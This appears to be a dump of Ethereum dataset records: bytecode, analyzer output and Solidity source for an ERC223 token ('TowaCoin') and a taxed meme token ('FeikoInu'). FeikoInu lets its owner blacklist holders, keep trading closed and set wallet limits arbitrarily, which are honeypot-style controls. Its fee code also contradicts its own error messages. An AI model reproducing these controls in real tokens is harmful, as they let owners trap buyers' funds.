15260200191505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561292a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008083850190508481101583901515612b95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b5a578082015181840152602081019050612b3f565b50505050905090810190601f168015612b875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080915050939250505056fea165627a7a723058201f43efaf07a0593cbdd5cbd7da39040c9f39ab782f7d7667d070759826ed91a80029
|
{"success": true, "error": null, "results": {}}
| 3,254 |
0xeebd616859f28305dab8b9f5711903574282f5a3
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public balanceOf;
using SafeMath for uint256;
uint256 totalSupply_;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from,address _to,uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balanceOf[_from]);
require(_value <= allowed[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf[msg.sender]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract addtionalERC223Interface {
function transfer(address to, uint256 value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint256 _value, bytes _data) public pure
{
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223Token is addtionalERC223Interface , ERC20StandardToken {
function _transfer(address _to, uint256 _value ) private returns (bool) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
return true;
}
function _transferFallback(address _to, uint256 _value, bytes _data) private returns (bool) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint256 _value, bytes _data) public returns (bool OK) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
if(isContract(_to))
{
return _transferFallback(_to,_value,_data);
}else{
_transfer(_to,_value);
emit Transfer(msg.sender, _to, _value, _data);
}
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
if(isContract(_to))
{
return _transferFallback(_to,_value,empty);
}else{
_transfer(_to,_value);
emit Transfer(msg.sender, _to, _value);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
}
contract TowaCoin is ERC223Token
{
string public name = "TOWACOIN";
string public symbol = "TOWA";
uint8 public decimals = 18;
constructor() public{
address founder = 0x9F7d681707AA64fFdfBA162084932058bD34aBF4;
address developer = 0xE66EBB7Bd6E44413Ac1dE57ECe202c8F0CA1Efd9;
uint256 dec = decimals;
totalSupply_ = 200 * 1e8 * (10**dec);
balanceOf[founder] = totalSupply_.mul(97).div(100);
balanceOf[developer] = totalSupply_.mul(3).div(100);
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806366188463146101fc57806370a082311461022057806395d89b4114610241578063a9059cbb14610256578063be45fd621461027a578063d73dd623146102e3578063dd62ed3e14610307575b600080fd5b3480156100ca57600080fd5b506100d361032e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103bc565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610425565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561042b565b3480156101dd57600080fd5b506101e66105a9565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600160a060020a03600435166024356105b2565b34801561022c57600080fd5b50610195600160a060020a03600435166106a5565b34801561024d57600080fd5b506100d36106b7565b34801561026257600080fd5b5061016c600160a060020a0360043516602435610712565b34801561028657600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107939650505050505050565b3480156102ef57600080fd5b5061016c600160a060020a036004351660243561087f565b34801561031357600080fd5b50610195600160a060020a036004358116906024351661091d565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103b45780601f10610389576101008083540402835291602001916103b4565b820191906000526020600020905b81548152906001019060200180831161039757829003601f168201915b505050505081565b600160a060020a0333811660008181526020818152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60025490565b6000600160a060020a038316151561044257600080fd5b600160a060020a03841660009081526001602052604090205482111561046757600080fd5b600160a060020a03808516600090815260208181526040808320339094168352929052205482111561049857600080fd5b600160a060020a0384166000908152600160205260409020546104c1908363ffffffff61094616565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104f6908363ffffffff61095816565b600160a060020a03808516600090815260016020908152604080832094909455878316825281815283822033909316825291909152205461053d908363ffffffff61094616565b600160a060020a03808616600081815260208181526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060015b9392505050565b60055460ff1681565b600160a060020a033381166000908152602081815260408083209386168352929052908120548083111561060b57600160a060020a03338116600090815260208181526040808320938816835292905290812055610640565b61061b818463ffffffff61094616565b600160a060020a03338116600090815260208181526040808320938916835292905220555b600160a060020a033381166000818152602081815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3600191505b5092915050565b60016020526000908152604090205481565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103b45780601f10610389576101008083540402835291602001916103b4565b6000606061071f84610965565b156107365761072f84848361096d565b915061069e565b6107408484610bb8565b5083600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35092915050565b600061079e84610965565b156107b5576107ae84848461096d565b90506105a2565b6107bf8484610bb8565b5083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561083a578181015183820152602001610822565b50505050905090810190601f1680156108675780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35060019392505050565b600160a060020a033381166000908152602081815260408083209386168352929052908120546108b5908363ffffffff61095816565b600160a060020a033381166000818152602081815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b60008282111561095257fe5b50900390565b8181018281101561041f57fe5b6000903b1190565b600160a060020a033316600090815260016020526040812054819084111561099457600080fd5b600160a060020a0333166000908152600160205260409020546109bd908563ffffffff61094616565b600160a060020a0333811660009081526001602052604080822093909355908716815220546109f2908563ffffffff61095816565b600160a060020a0380871660008181526001602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015610a92578181015183820152602001610a7a565b50505050905090810190601f168015610abf5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610ae057600080fd5b505af1158015610af4573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b72578181015183820152602001610b5a565b50505050905090810190601f168015610b9f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b600160a060020a033316600090815260016020526040812054821115610bdd57600080fd5b600160a060020a033316600090815260016020526040902054610c06908363ffffffff61094616565b600160a060020a033381166000908152600160205260408082209390935590851681522054610c3b908363ffffffff61095816565b600160a060020a038416600090815260016020819052604090912091909155905092915050565b6000821515610c735750600061041f565b50818102818382811515610c8357fe5b041461041f57fe5b60008183811515610c9857fe5b0493925050505600a165627a7a72305820842c9e72d474d4dcf020fb4567490cd809ed0881ba6661a895593d629acd606f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,255 |
0xe751ea0330cd9a0e55e57620bb0cf6e1de03f4a2
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
FeikoInu Inu
https://t.me/FeikoInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FeikoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FeikoInu";
string private constant _symbol = "FeikoInu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf2e06FCFe595c13727A3Ef1Ed6BdeD32793b62e9);
address payable private _marketingAddress = payable(0x709b74Ee88A316e2D8E5ec7E7dBffC50b27293fb);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aa9565b6105ca565b005b34801561020a57600080fd5b5060408051808201825260088152674665696b6f496e7560c01b602082015290516102359190611b6e565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611bc3565b610669565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50683635c9adc5dea000005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611bef565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060155461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611c30565b6106e9565b34801561036a57600080fd5b506101fc610379366004611c5d565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b50610